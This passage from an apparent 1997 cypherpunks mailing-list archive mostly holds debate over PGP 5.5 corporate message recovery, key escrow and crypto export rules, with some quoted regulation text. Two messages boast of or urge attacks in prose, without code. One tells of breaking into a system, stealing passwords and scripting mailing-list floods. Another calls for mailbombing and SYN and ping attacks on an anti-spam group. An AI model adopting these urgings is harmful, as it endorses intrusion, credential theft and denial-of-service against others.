What kind of content issues do you see as
            possibly requiring the ITU's attention?

            Tarjanne: There are lots and lots of things. Probably the
            most famous Internet-related questions have to
            do with all the kinds of content that are not
            considered to be legally or morally acceptable.
            These are very difficult for the national
            decision-makers alone to deal with because of
            the global nature of the network. The problems
            are those related to child pornography or
            things like that. They have not reached the
            point where there's any need for us to do
            anything except follow what's happening. But
            that is already a change. To be prepared for
            the future, we have to know what problems
            different countries have with respect to the
            content of international communications.

            Have your members asked you to look into these
            issues?

           Tarjanne:   Members have asked us to look into it and to
            follow it, but there are no concrete proposals
            for us to really take these matters up more
            seriously than that--than to follow them and
            collect information and be prepared to
            disseminate information. There's nothing on the
            agenda of our next few conferences, nor anything
            really serious in our study groups.

            What would happen if the Internet community
            rejected ITU governance?

            Tarjanne:  It's a theoretical possibility, but I don't
            think it's very realistic. But if they find a
            better forum than the ITU, we don't have any
            monopoly. Things can be done outside the ITU,
            sometimes in a better way than within the ITU.
            That's not a big problem. We are here within
            our mandate to be prepared to participate and
            help when asked to do so. That's what we have
            done.

            To go a little bit further, if something were
            to happen outside the ITU that would lead to
            problems because of the absence of a neutral
            global organization covering these issues, then
            of course it's up to the members of the ITU to
            look at things more carefully. But we are not
            there. It's a rather hypothetical question for
            the time being.


************************************************************************
The COOK Report on Internet               For subsc. pricing & more than
431 Greenway Ave, Ewing, NJ 08618 USA     ten megabytes of free material
(609) 882-2572 (phone & fax)              visit   http://cookreport.com/
Internet: cook@cookreport.com             New Special Report: Internet
Governance at the Crossroads ($175)  http://cookreport.com/inetgov.shtml
************************************************************************

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Snot Girls <sg@dev.null>
Date: Thu, 16 Oct 1997 01:19:30 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck You!
In-Reply-To: <343EADC9.1317@dev.null>
Message-ID: <3444F734.225F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Bianca *didn't* write:
> 
> I found your address, despite your subterfuge, and I am going to fuck
> up both you and your computer system.
> I don't like fuckwads sending bullshit to my email.
> 
> Fuck You
> (& the horse you rode in on)

That was Human Gus-Peter, being a lamer and accidentally cc:'ing
the toadster.
He's ok, since he helps us screw with the people who send us and
the toadster ads for pervert pictures. But we still made him
read Dumping Men By The Book, because he made fun of Cynthia,
but he thinks it's a manual for learning to be a male lamester.

Bianca is teaching us how to be good with computers but we're not
supposed to mess around with the cypherpunks list because we still
make a lot of mistakes.
She showed us how to get in the pervert picture system and get
out their secret passwords. We send them to kids whose parents
are cops with Bianca helping us make it look like they are from
the pervert picture people.
Not that we're troublemakers... (HG-P's uncle taught us to say that)

We don't like the pervert picture people making all of the alt.lists
full of their ads, so we subscribe their systems to all of the kids
mailing lists we can. We even wrote a script that does it for us
whenever we want.
Some of our best friends are pervert people but we don't like being
spammed with all of that crap.

We like the women cypherpunks and Igor, because we use his stuff
for being who we want to in our posts. The cypherpunks are pretty
funny even when you're being serious.
My name is Julia.

Bye.
ps-and thanks for your anonymous remailers because we use them a lot





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard Johnson" <rdump@river.com>
Date: Thu, 16 Oct 1997 06:44:29 +0800
To: Will Price <ietf-open-pgp@imc.org
Subject: Re: proposal: commercial data recovery
In-Reply-To: <199710140937.KAA01187@server.test.net>
Message-ID: <v03110702b06ab5c3f22a@dolores.scd.ucar.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 02:34 -0700 on 10/15/97, Will Price wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Adam:
> ...
> The design you have been espousing for the last week or so in your many
> messages takes the power out of the hands of the sender and encourages
> automated violations of the sender's privacy by the recipient (perhaps even
> unbeknownst to the recipient). ...


This is simply a reflection of reality.  The sender has little real control
over what the recipient actually does with any message.  If the recipient
shares the information content, the sender is basically limited to civil or
criminal sanctions after that sharing becomes evident.

Designing a standard for encrypted communications that attempts to fight
that fact will likely be wasted effort.


Richard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Thu, 16 Oct 1997 00:44:55 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: proposal: commercial data recovery
In-Reply-To: <v03007804b0697514e0e4@[172.17.1.150]>
Message-ID: <v03007801b06aa6089ab9@[172.17.1.150]>
MIME-Version: 1.0
Content-Type: text/plain



In response to some things I said about crypto and firewalls, Adam Back wrote:

>I'm not sure whether pgp5.5 has this ability to screen messages prior
>to reading, and also not sure whether it has the ability to snoop
>messages prior to sending built in.

It's not a feature of 5.5, it's a separate activity that relies on the
presence of a third party key. The actual inspection occurs at a security
choke point like a firewall. That way the tests are applied consistently
regardless of mistakes made by clients in software installation or
configuration.

You noted that it might in fact be possible to get the same result with a
more GAK resistant implementation, and I agree. For example, if the
principals all update their public keys fairly often, then there's no
relatively key that's easy to escrow. The practical version of forward
secrecy, as it were. I have no objection to that. As far as I can tell,
there's nothing intrinsic in the current PGP proposals to prevent such an
implementation.

Concerning your other examples, I agree that there are ways to trade off
between degrees of GAK sensitivity and various customer security
objectives. However, this whole discussion revolves around the fact that
people rely heavily on off the shelf solutions, and there aren't the right
tools to do everything you're suggesting. I'd like to see things in the
crypto marketplace be as flexible as possible. Just because a few provide
some features that could in theory be applied to GAK doesn't IMHO mean that
those will manage to prevail. A diverse marketplace of crypto devices is
essential for it to flourish -- one that gives every customer the flavor
they want. That way the general public will develop a working understanding
of it. And we'll all learn what really works and what doesn't.

Let's face it, crypto is at about the same stage as cars were when Henry
Ford started building them. We really know as much about how crypto will
change the future as he did about the effects of cars. We can't start
engineering in governors to restrict our speed, or be restricting our
designs to governor-proof transmissions.

I regret I'll have to bow out of this discussion because I'll be on travel
for a couple of weeks. Have fun everyone.

Rick.
smith@securecomputing.com           Secure Computing Corporation
"Internet Cryptography" now in bookstores http://www.visi.com/crypto/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 16 Oct 1997 07:26:44 +0800
To: Will Price <cypherpunks@cyberpass.net
Subject: Re: proposal: commercial data recovery
In-Reply-To: <199710140937.KAA01187@server.test.net>
Message-ID: <3.0.3.32.19971015113856.006aa938@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:34 AM 10/15/1997 -0700, Will Price, probably annoyed at the
flaming that PGP5.5 has received, flames out Adam Back's proposal
for not doing the right things for his perceived market.
But PGP5.5 doesn't do most of those same things either.

>First, let me state some overriding design goals of a 
>data recovery system required to ensure privacy: 
>the sender must know and consent to every key
>that will be able to read the message during its lifetime, 

As Ian and Ian have pointed out, this is bogus - 
the sender can't control the recipients' uses of the message.
At most the sender has a right to control who receives the
message _until_ the recipient gets it,
and if they don't trust the recipient, they shouldn't send it.

>the encryption must be end-to-end, and 
This is fine.

>the recipient must know exactly who else can decrypt the message.  

PGP 5.5 does not provide this; the message headers only provide KeyID
for each recipient, not the person using the keys, so the recipient
only knows those recipients whose KeyIDs he knows or can look up.
(Plus deadbeef attacks make even those suspect.)

>In your model, the recipient automatically
>decrypts and then re-encrypts to a data recovery key -- even though
>end-user computers are likely to be insecure thus making this decrypt &
>reencrypt step rather specious at best.  

Again, this is bogus - if the recipient's computer is insecure,
then the data is insecure from the moment the recipient decrypts it,
a step that even PGP5.5 does not usually prevent :-)

>As an actual data recovery system, it also fails fundamental tests.
>If I encrypt critical data to a colleague wiping it from my system 
>after sending, then the colleague is incapacitated before receipt 
>and processing of the message, the data can never be retrieved.  

Bogus.  If you send critical data to a colleague entirely in the clear,
and sendmail eats it instead if delivering it to your colleague,
or the colleague's mailbox disk drive crashes before he reads it,
and you have wiped the only copy before confirming receipt of the message, 
you lose and PGP5.5 won't help any, since neither PGP5.5 nor the
PGP SMTP filters cause extra copies to be created.
If you do this sort of thing often, you need a new definition of critical.

What you need is automated message receipts, and the decryption system 
needs to offer your recipient a user-friendly way to send receipts
when he actually reads the message.  PGP5.5 doesn't do this 
(not its job - it's an encryption program, not a mail user agent) 
and the mail client's receipts aren't enough, since they don't know 
if your recipient could decrypt the message successfully  
(nor whether they could read the language it was written in,
nor whether the contents made any sense, 
nor whether the recipient agreed with the content of the message. :-)

>I'm truly amazed that you would attack in such a spiteful fashion

If you can't tell serious concerns from spite, your ego's in the way
(you've probably been reading too many negative reviews lately. :-)
There are serious problems with the PGP5.5 approach, even though it 
does solve real business problems that some of your real customers have,
or at least think they have.

>a simple system which adds a recipient-requested, sender-approved 
>extra recipient which is end-to-end wherein all recipients are 
>under the sender's control and

Only the choice of keys is under the sender's control, 
not the knowledge of what actual _people_ hold those keys or 
what the CMRKers will do with the data, or even whether they 
have received copies unless she mails copies them directly
In the PGP SMTP filter context, if the sender must include
certain keys to get the message delivered, that's a rather 
limited definition of "under the sender's control".

> each recipient knows who can read the message with no key escrow 

As above, the recipients don't know each other unless
they happen to have each others' KeyIDs on their keyservers,
and since PGP5.5 "elegantly" doesn't indicate whether a recipient
is there because the sender wanted them or whether they're CMRKers.
Sure, if there's only one real recipient, both sender and recipient
know the eavesdroppers, but if there's more than one real recipient,
there's no way to tell.

>using the same old PGP message format we all know and love without change, 
If you count 5.0 message format as "old" :-)  And while the
CMRK fields apparently were in 5.0 key record formats, they weren't used,
and the semantics are much different even if the syntax is the same.
Treating desired recipients and undesirable recipients the same
is one approach, but it doesn't accomodate people who want
secret sharing to prevent a single CMRker from recovering the message.

>and yet you propose a much less secure system which allows hiding 
>critical information from the sender and does not adequately perform 
>its stated purpose of data recovery.
I'm not flaming Adam's proposal here; that's a job for another message :-)
In particular, it seems to be evolving, and I haven't figured it out yet,
nor am I convinced there is a way to adequately perform the purposes
of data recovery.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Gillogly <jim@acm.org>
Date: Thu, 16 Oct 1997 03:01:11 +0800
To: cypherpunks@cyberpass.net
Subject: Personal use crypto export
Message-ID: <34450E74.5C1@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



I'm moved to repeat Matt Blaze's exercise of a couple of years
ago, where he went through the rigamarole to get an Official
Paper from Customs or State or whoever was in charge to take his
laptop out of the country with crypto on it for his personal use
overseas.  His experiences finding the right person to talk to
to get a form, then his inability to find a Customs official to
look at it on the way back, were semi-hilarious.

However, now that crypto exports in general have moved from ITAR
to EAR and BXA is in charge of general crypto exports, I can't find
out how to get the right form to take out a laptop with PGP (or
anything else) on it.  Can anybody give me a pointer to whoever
thinks they're in charge of this stuff?

Or have they given up on this phase?

Thanks...
-- 
	Jim Gillogly
	24 Winterfilth S.R. 1997, 18:38
	12.19.4.10.12, 7 Eb 10 Yax, Fifth Lord of Night





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 16 Oct 1997 02:58:20 +0800
To: Rick Smith <zooko@xs4all.nl
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102800b06978017bc1@[207.167.93.63]>
Message-ID: <v03102800b06abe45dfa2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 PM -0700 10/15/97, Rick Smith wrote:
>While I think that a variety of robust and successful products will proably
>emerge that support various types of key recovery, I strongly agree with
>Tim on engineering grounds: Keep It Simple, Stupid.
>
>When it comes to deciding on the contents of a standard, let's keep in mind
>that we're working with a relatively new technology. We'll make more
>progress by standardizing proven concepts, and these integrated key
>recovery hacks don't have the operating history that vanilla PGP has. If
>anything, my experience with Guard keying suggests that the proposed
>mechansims aren't enough. The problem has more hair than our sheepdog.
>
>I don't think the protocol standard needs to take a political statement
>about key recovery mechanisms, but it *must* outline the protocol's
>traditional security objectives pretty much the way Tim outlined them. That
>sets the context for a robust protocol that has a successful history.

Thanks for the comments, and the support is nice, too.

As Rick notes, the whole "foobar recovery" (where foobar may be plaintext
messages or keys) technology is untested, besides being dangerous in
various ways.

It represents an escalation of complexity, both for the users and the
developers. (My message is being directed at the OpenPGP folks trying to
figure out what features to support, not to PGP, Inc., which can make its
own decisions about how to spend its engineering and marketing
resources...though I hope they are taking the reactions of many of us to
heart.)

At this stage, where governments of the world are planning to make foobar
recovery mandatory (either GAK or GAP), it's a bad time to launch an
untested and potentially dangerous technology. As others have noted,
Congress is already using PGP's support of message recovery as evidence
that industry can rise to the challenge of providing message recovery for
law enforcement.

OpenPGP needs to stick to basics. And PGP, Inc. needs to get back to basics.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 16 Oct 1997 03:27:38 +0800
To: cypherpunks@Algebra.COM
Subject: Security flaws introduced by "other readers" in CMR
In-Reply-To: <199710141935.PAA13621@beast.brainlink.com>
Message-ID: <v03102801b06ac04e5a12@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:10 AM -0700 10/15/97, Eli Brandt wrote:

>Non-technical point: the NSA (reportedly) has no intention of using
>GAK for classified information.  They know that it weakens security.
>
>Do the privacy of the nation's data and the security of its
>information infrastructure deserve the same consideration as the
>Pentagon's "Confidential" memos?  When you're planning to build in a
>single point of failure, this is a question you have to ask.

This also applies to CMR as well. Whatever the perceived business reasons
for CMR, the fact is that it introduces additional failure points. No
longer will Alice and Bob be secure that at least there are no "other
readers" in the channel between them (what they do with the plaintext after
decryption is of course solvable by no technology).

And, contrary to some of what we've been hearing, even corporations have
continuing needs to know that a communication between Alice and Bob, within
a corporation or crossing the corporate boundary, is not being listened to
by any other person. Merger negotiations are one obvious example.

(There are workarounds, I suppose. CMR could have a "override" switch to
turn off the CMR to a second key. But who decides on this? Maybe a signed
message from a suitable higher-up? Ah, the complexity. And executives
wanting to bypass CMR can and will use other channels. So many of the goals
of CMR are out of reach....)

Instead of choosing an example where CMR apparently "works," such as
Crispin's example of a corporation using CMR to detect (as if it weren't
detectable in other ways!) that an employee is operating a porn ftp site
from company computers, let me throw out some examples where CMR introduces
flaws into a security system.

* Andy Grove sends a PGP 5.5-encrypted message to T.J. Rodgers, CEO of
Cypress Semiconductor, outlining the plans for Cypress to be acquired by
Intel. However, Cypress has implemented CMR, and one of the "second
readers" of Andy's message is the cryptically-named (no pun intended)
"CCCP" (Corporate Crypto Compliance Police), staffed by security guards and
personnel management droids. Major security flaw.

(Sure, one can imagine various levels of "second readers." But I rather
doubt that most of them will be _offices_, with changing staffs. While one
could, for example, designate "Gordon Moore" to be the second reader of all
files encrypted to Andy Grove's key, I rather doubt this is the way CMR
will play out.)

* Craig Livingstone, at whitehouse.gov, is the Key Compliance Officer for
all communications entering or leaving the White House. Enough said?

* Sheep-dipped cutouts in defense companies await their orders from DoD,
but find that other readers in their companies are monitoring them.

And so on.

"Three can keep a secret if two of them are dead." (Ben Franklin)

What will of course happen is that these "security flaws" will be plugged
by subterfuge. People will stop using the corporate mail for many such
tasks, and will use nonwork accounts. With some loss of efficiency, and
even more opportunities for leaks. (If firewalls are in place, on outside
net connections, employees can just dial out. Or use Metricom Ricochet
modems, if conditions are favorable for reception. Or wait until they go
home.)

In fact, CMR will mostly just mean bland, interdepartmental messages get
"recovered." As I said before, this is a pretty crude way to implement a
kind of corporate archiving of information.

Truly sensitive stuff--stuff about takeovers, foreign production plans, new
products, etc.--will be encrypted with channels having no nosy security
guards or Corporate Crypto Compliance Police silently listening in.

Which means we're back to square one. So why does PGP, Inc. bother?

And why should OpenPGP squander efforts worrying about this?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 16 Oct 1997 03:37:14 +0800
To: Jim Gillogly <cypherpunks@cyberpass.net
Subject: Re: Personal use crypto export
In-Reply-To: <34450E74.5C1@acm.org>
Message-ID: <v03102802b06ac8c55738@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:41 AM -0700 10/15/97, Jim Gillogly wrote:
>I'm moved to repeat Matt Blaze's exercise of a couple of years
>ago, where he went through the rigamarole to get an Official
>Paper from Customs or State or whoever was in charge to take his
>laptop out of the country with crypto on it for his personal use
>overseas.  His experiences finding the right person to talk to
>to get a form, then his inability to find a Customs official to
>look at it on the way back, were semi-hilarious.
>
>However, now that crypto exports in general have moved from ITAR
>to EAR and BXA is in charge of general crypto exports, I can't find
>out how to get the right form to take out a laptop with PGP (or
>anything else) on it.  Can anybody give me a pointer to whoever
>thinks they're in charge of this stuff?
>
>Or have they given up on this phase?

Given that Matt did the exercise the one time it was worth doing, as a
"demonstration," and given that nobody has been prosecuted for this sort of
thing, and given the "personal use exemption" issued a while back, what's
the point?

If your point is to show that you, too, can jump through hoops and run
around collecting papers, then it hardly seems fair for any of us to give
you help, right?

--Tim May

(P.S. I seem to recall that some time _after_ the Matt Blaze experience
there was an even more clearcut statement that laptops leaving the country
for temporary trips did not need _any_ permission forms, even officially. I
dimly recall this as part of the new BXA/EAR documents.)

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Admin Pgh Plan <pghmain@pgh.org>
Date: Thu, 16 Oct 1997 00:55:24 +0800
To: "Dr. Zeus" <zeus@alt.net>
Subject: Re: Statists trying to outlaw anonymity and privacy
In-Reply-To: <3444A8EA.B0E@alt.net>
Message-ID: <Pine.LNX.3.96.971015124121.6049B-100000@www3.localweb.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 15 Oct 1997, Dr. Zeus wrote:

> Date: Wed, 15 Oct 1997 07:28:42 -0400
> From: "Dr. Zeus" <zeus@alt.net>
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@algebra.com, mfi@pgh.org, drg@pgh.org
> Subject: Re: Statists trying to outlaw anonymity and privacy
> 
> Igor Chudov @ home wrote:
> > 
> > Dear Friends,
> > 
> > As many of you no doubt know, a new moderated group,
> > comp.org.cauce, has been proposed. One of the main goals
> > of moderators is to prevent users of one-way anonymous
> > remailers and those who munge (alter) their addresses
> > to avoid being spammed, from posting to the group.
> > 
> > Their proposal would force users to reveal their Internet
> > identities and expose them to spam.
> > 
> > The proponents hope, apparently, that the more spam people
> > get, the more will they support CAUCE's statist lobbying for
> > more government regulations.
> > 
> > During the discussion they have shown complete disregard and
> > ignored all requests from users who attempted to help them
> > accommodate anonymous posting. To get more YES votes, they
> > removed the most controversial provisions from the charter,
> > while IN THE SAME DAY promising that these provisions will
> > still be enforced.
> > 
> > As someone who defends privacy and anonymity  on the Internet,
> > I ask you to vote on this important matter. I will vote NO
> > on this newsgroup.
> > 
> > Feel free to repost this message to any fora you deem appropriate.
> > 
> > To find the Call For Votes, go to news.groups newsgroup, and find
> > article titled "CFV: comp.org.cauce moderated". You will find the
> > charter and the instructions on how to vote.
> > 
> > Thank you for your attention.
> > 
> >         - Igor.
> 
> I say we bomb the shit out of the newsgroup if it gets formed.
> We need a new newsgroup flooding and blasting.
> 
> Those basdtards like CAUCE who try to censor make it very
> legal to take the gloves off and just wipe them out with
> mailbombing and SYN and ping attacks!!!
> 
> KILL CAUCE!!!  They are all mostly Pedophiles!
> 
> -Dr. Zeus
> 

amen.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Thu, 16 Oct 1997 02:27:48 +0800
To: Tim May <zooko@xs4all.nl
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <199710141329.OAA02853@server.test.net>
Message-ID: <v03007802b06aada46459@[172.17.1.150]>
MIME-Version: 1.0
Content-Type: text/plain



While I think that a variety of robust and successful products will proably
emerge that support various types of key recovery, I strongly agree with
Tim on engineering grounds: Keep It Simple, Stupid.

When it comes to deciding on the contents of a standard, let's keep in mind
that we're working with a relatively new technology. We'll make more
progress by standardizing proven concepts, and these integrated key
recovery hacks don't have the operating history that vanilla PGP has. If
anything, my experience with Guard keying suggests that the proposed
mechansims aren't enough. The problem has more hair than our sheepdog.

I don't think the protocol standard needs to take a political statement
about key recovery mechanisms, but it *must* outline the protocol's
traditional security objectives pretty much the way Tim outlined them. That
sets the context for a robust protocol that has a successful history.

Now I need to shut off my mailer and go pack my suitcase.

Rick.
smith@securecomputing.com           Secure Computing Corporation
"Internet Cryptography" now in bookstores http://www.visi.com/crypto/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 16 Oct 1997 04:37:47 +0800
To: Jim Gillogly <cypherpunks@cyberpass.net
Subject: Re: Personal use crypto export
In-Reply-To: <34450E74.5C1@acm.org>
Message-ID: <v03007812b06adf711815@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



I agree with Tim May, I believe it's no longer an issue.  While the current
EAR/crypto regs don't expressly say "personal use OK," they can be read
that way under several exemptions, and I'm reliably told that BXA does.

In the draft EAR/crypto regs posted to John Young's site some months ago,
the BAG license exception, at (d) and (f) (see below), specifically
addresses crypto.  It's only a draft and may change, but I wouldn't worry
about it.

Lee Tien

§740.14  Baggage (BAG).

(a)  Scope.  This License Exception authorizes individuals leaving the
United States either temporarily (i.e., traveling) or longer-term (i.e.,
moving) and crew members of exporting or reexporting carriers to take to
any destination, as personal baggage, the classes of commodities and
software described in this section.

(b)  Eligibility.  Individuals leaving the United States may export or
reexport any of the following commodities or software for personal use of
the individuals or members of their immediate families traveling with them
to any destination or series of destinations.  Individuals leaving the
United States temporarily (i.e., traveling) must bring back items exported
and reexported under this License Exception unless they consume the items
abroad or are otherwise authorized to dispose of them under the EAR.  Crew
members may export or reexport only commodities and software described in
paragraphs (b)(1) and (b)(2) of this section to any destination.

(1)  Personal effects.  Usual and reasonable kinds and quantities for
personal use of wearing apparel, articles of personal adornment, toilet
articles, medicinal supplies, food, souvenirs, games, and similar personal
effects, and their containers.

(2)  Household effects.  Usual and reasonable kinds and quantities for
personal use of furniture, household effects, household furnishings, and
their containers.

(3)  Vehicles.  Usual and reasonable kinds and quantities of vehicles, such
as passenger cars, station wagons, trucks, trailers, motorcycles, bicycles,
tricycles, perambulators, and their containers.

(4)  Tools of trade.  Usual and reasonable kinds and quantities of tools,
instruments, or equipment and their containers for use in the trade,
occupation, employment, vocation, or hobby of the traveler or members of
the household being moved.  For special provisions regarding encryption
items subject to EI controls, see paragraph (f) of this section.

(c)  Limits on eligibility.  The export of any commodity or software is
limited or prohibited, if the kind or quantity is in excess of the limits
described in this section. In addition, the commodities or software must
be:

(1)  Owned by the individuals (or by members of their immediate families)
or by crew members of exporting carriers on the dates they depart from the
United States;

(2)  Intended for and necessary and appropriate for the use of the
individuals or members of their immediate families traveling with them, or
by the crew members of exporting carriers;

(3)  Not intended for sale or other disposal; and

(4)  Not exported under a bill of lading as cargo if exported by crew members.

(d)   *     *     * No items controlled for EI reasons may be exported or
reexported as unaccompanied baggage.

*     *     *     *     *

(f) Special provisions: encryption software subject to EI controls.

(1) Only a U.S. citizen or permanent resident as defined by 8 U.S.C.
1101(a)(20) may export or reexport encryption items controlled for EI
reasons under this License Exception.

(2) The U.S. person or permanent resident must maintain effective control
of the encryption items controlled for EI reasons.

(3) The encryption items controlled for EI reasons may not be exported or
reexported to Country Group E:2, Iran, Iraq, Sudan, or Syria.


At 10:41 AM -0800 10/15/97, Jim Gillogly wrote:
>I'm moved to repeat Matt Blaze's exercise of a couple of years
>ago, where he went through the rigamarole to get an Official
>Paper from Customs or State or whoever was in charge to take his
>laptop out of the country with crypto on it for his personal use
>overseas.  His experiences finding the right person to talk to
>to get a form, then his inability to find a Customs official to
>look at it on the way back, were semi-hilarious.
>
>However, now that crypto exports in general have moved from ITAR
>to EAR and BXA is in charge of general crypto exports, I can't find
>out how to get the right form to take out a laptop with PGP (or
>anything else) on it.  Can anybody give me a pointer to whoever
>thinks they're in charge of this stuff?
>
>Or have they given up on this phase?
>
>Thanks...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 16 Oct 1997 02:46:21 +0800
To: Eli Brandt <eli@gs160.sp.cs.cmu.edu>
Subject: Re: FCPUNX:PGP Key Escrow and Congress
In-Reply-To: <199710151811.LAA23906@toad.com>
Message-ID: <199710151825.OAA20321@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <199710151811.LAA23906@toad.com>, on 10/15/97 
   at 02, Eli Brandt <eli@gs160.sp.cs.cmu.edu> said:

>Bruce Schneier wrote:
>> From: "Barbara Simons" <simons@VNET.IBM.COM>
>>
>> Some of these are old arguments that we've been hearing for a while,
>> but some are newer.  In particular, points 4 and 6 are difficult to
>> refute without getting into some technical details.  Both points also
>> undercut the argument that a key recovery infrastructure potentially
>> weakens security.  After all, the NSA thinks it's secure enough that it
>> can be used by the government.

>Non-technical point: the NSA (reportedly) has no intention of using GAK
>for classified information.  They know that it weakens security.

>Do the privacy of the nation's data and the security of its
>information infrastructure deserve the same consideration as the
>Pentagon's "Confidential" memos?  When you're planning to build in a
>single point of failure, this is a question you have to ask.

There are those of us who see a single point of failure in such
infrastructures as a GoodThing(TM).

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Thu, 16 Oct 1997 04:27:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FCPUNX:PGP Key Escrow and Congress
Message-ID: <19971015.140657.9807.7.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, Oct 15, 1997 at 02:10:54PM -0400, Eli Brandt wrote:
> Bruce Schneier wrote:
> > From: "Barbara Simons" <simons@VNET.IBM.COM>
> >
> > Some of these are old arguments that we've been hearing for a while,
> > but some are newer.  In particular, points 4 and 6 are difficult to
> > refute without getting into some technical details.  Both points also
> > undercut the argument that a key recovery infrastructure potentially
> > weakens security.  After all, the NSA thinks it's secure enough that
it
> > can be used by the government.
> 
> Non-technical point: the NSA (reportedly) has no intention of using
> GAK for classified information.  They know that it weakens security.

You have this wrong.  In fact, NSA *supplies* keys for classified
encryption equipment.  They never told me whether they "escrowed"
copies of the keys they supply -- what do you think?

> Do the privacy of the nation's data and the security of its
> information infrastructure deserve the same consideration as the
> Pentagon's "Confidential" memos?  When you're planning to build in a
> single point of failure, this is a question you have to ask.

In fact, it's much more complex.  People with real classified data
don't trust encryption at all, and they only use it if they absolutely
have to.  They, unlike many cypherpunks, remember well that there are
other ways to get information besides running big computers, and if
you have protections against those in place already, crypto doesn't
buy much. 

But classified data isn't really interesting.  Though by any measure
there are huge amounts of it, it is dwarfed by the amount of
government data that is not classified.  To protect that data
government agencies will use comercial crypto, and "key recovery"
*will* be required in any commercial product purchased by a government
agency.  As use of crypto becomes commonplace business practice, the
government market will be huge, and consequently, commercial products
with key recovery *will* be prevelant.  Any company that doesn't 
supply it will be relegated to niche markets, and, if legal winds 
blow the wrong way, eliminated.

Crow



This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Thu, 16 Oct 1997 04:41:55 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:PGP Key Escrow and Congress
Message-ID: <19971015.140657.9807.5.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, Oct 15, 1997 at 02:10:54PM -0400, Eli Brandt wrote:
> Bruce Schneier wrote:
> > From: "Barbara Simons" <simons@VNET.IBM.COM>
> >
> > Some of these are old arguments that we've been hearing for a while,
> > but some are newer.  In particular, points 4 and 6 are difficult to
> > refute without getting into some technical details.  Both points also
> > undercut the argument that a key recovery infrastructure potentially
> > weakens security.  After all, the NSA thinks it's secure enough that
it
> > can be used by the government.
> 
